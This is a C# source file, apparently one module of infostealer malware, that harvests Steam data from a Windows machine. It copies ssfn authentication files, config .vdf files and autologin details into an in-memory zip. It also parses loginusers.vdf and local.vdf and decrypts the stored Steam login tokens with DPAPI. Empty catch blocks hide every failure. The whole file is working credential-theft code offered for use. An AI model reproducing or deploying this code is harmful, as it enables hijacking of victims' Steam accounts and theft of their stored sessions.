Files
Intellix/Intelix.Targets.Games/Steam.cs
T
2026-08-27 10:55:23 -06:00

170 lines
5.4 KiB
C#

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Text.RegularExpressions;
using Intelix.Helper.Data;
using Microsoft.Win32;
namespace Intelix.Targets.Games;
public class Steam : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Valve\\Steam");
if (registryKey == null || registryKey.GetValue("SteamPath") == null)
{
return;
}
string text = registryKey.GetValue("SteamPath").ToString();
if (!Directory.Exists(text))
{
return;
}
string path = "Steam";
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Steam";
try
{
RegistryKey registryKey2 = registryKey.OpenSubKey("Apps");
if (registryKey2 != null)
{
List<string> list = new List<string>();
string[] subKeyNames = registryKey2.GetSubKeyNames();
foreach (string text2 in subKeyNames)
{
using RegistryKey registryKey3 = registryKey.OpenSubKey("Apps\\" + text2);
if (registryKey3 != null)
{
string text3 = (registryKey3.GetValue("Name") as string) ?? "Unknown";
string text4 = (((int?)registryKey3.GetValue("Installed") == 1) ? "Yes" : "No");
string text5 = (((int?)registryKey3.GetValue("Running") == 1) ? "Yes" : "No");
string text6 = (((int?)registryKey3.GetValue("Updating") == 1) ? "Yes" : "No");
list.Add("Application: " + text3 + "\n\tGameID: " + text2 + "\n\tInstalled: " + text4 + "\n\tRunning: " + text5 + "\n\tUpdating: " + text6);
}
}
if (list.Count > 0)
{
string text7 = Path.Combine(path, "Apps.txt");
zip.AddTextFile(text7, string.Join("\n\n", list));
counterApplications.Files.Add("Software\\Valve\\Steam\\Apps => " + text7);
}
}
}
catch
{
}
try
{
string[] subKeyNames = Directory.GetFiles(text);
foreach (string text8 in subKeyNames)
{
if (text8.Contains("ssfn"))
{
byte[] content = File.ReadAllBytes(text8);
string text9 = Path.Combine(path, "ssfn", Path.GetFileName(text8));
zip.AddFile(text9, content);
counterApplications.Files.Add(text8 + " => " + text9);
}
}
}
catch
{
}
try
{
string path2 = Path.Combine(text, "config");
if (Directory.Exists(path2))
{
string[] subKeyNames = Directory.GetFiles(path2, "*.vdf");
foreach (string text10 in subKeyNames)
{
string text11 = Path.Combine(path, "configs", Path.GetFileName(text10));
zip.AddFile(text11, File.ReadAllBytes(text10));
counterApplications.Files.Add(text10 + " => " + text11);
}
}
}
catch
{
}
try
{
string text12 = registryKey.GetValue("AutoLoginUser")?.ToString() ?? "Unknown";
string text13 = (((int?)registryKey.GetValue("RememberPassword") == 1) ? "Yes" : "No");
string text14 = "Autologin User: " + text12 + "\nRemember password: " + text13;
string text15 = Path.Combine(path, "SteamInfo.txt");
zip.AddTextFile(text15, text14);
counterApplications.Files.Add("Software\\Valve\\Steam => " + text15);
}
catch
{
}
try
{
string[] source = new string[2]
{
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "local.vdf"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Steam", "local.vdf")
};
string[] source2 = new string[2]
{
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Steam", "config", "loginusers.vdf"),
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "config", "loginusers.vdf")
};
string text16 = source.FirstOrDefault(File.Exists);
string text17 = source2.FirstOrDefault(File.Exists);
if (text16 == null || text17 == null)
{
return;
}
string pattern = "\"AccountName\"\\s*\"([^\"]+)\"";
string pattern2 = "([a-fA-F0-9]{500,2000})";
MatchCollection matchCollection = Regex.Matches(File.ReadAllText(text17), pattern);
MatchCollection matchCollection2 = Regex.Matches(File.ReadAllText(text16), pattern2);
if (matchCollection.Count == 0 || matchCollection2.Count == 0)
{
return;
}
List<string> list2 = new List<string>();
foreach (Match item in matchCollection)
{
byte[] bytes = Encoding.UTF8.GetBytes(item.Groups[1].Value);
foreach (Match tokenMatch in matchCollection2)
{
byte[] encryptedData = (from x in Enumerable.Range(0, tokenMatch.Value.Length / 2)
select Convert.ToByte(tokenMatch.Value.Substring(x * 2, 2), 16)).ToArray();
try
{
byte[] bytes2 = ProtectedData.Unprotect(encryptedData, bytes, DataProtectionScope.LocalMachine);
list2.Add(Encoding.UTF8.GetString(bytes2));
}
catch
{
continue;
}
break;
}
}
if (list2.Count > 0)
{
string text18 = Path.Combine(path, "Token.txt");
zip.AddTextFile(text18, string.Join("\n", list2));
counterApplications.Files.Add(text16 + " => " + text18);
counterApplications.Files.Add(text17 + " => " + text18);
}
}
catch
{
}
if (counterApplications.Files.Count > 0)
{
counterApplications.Files.Add("Steam\\");
counter.Games.Add(counterApplications);
}
}
}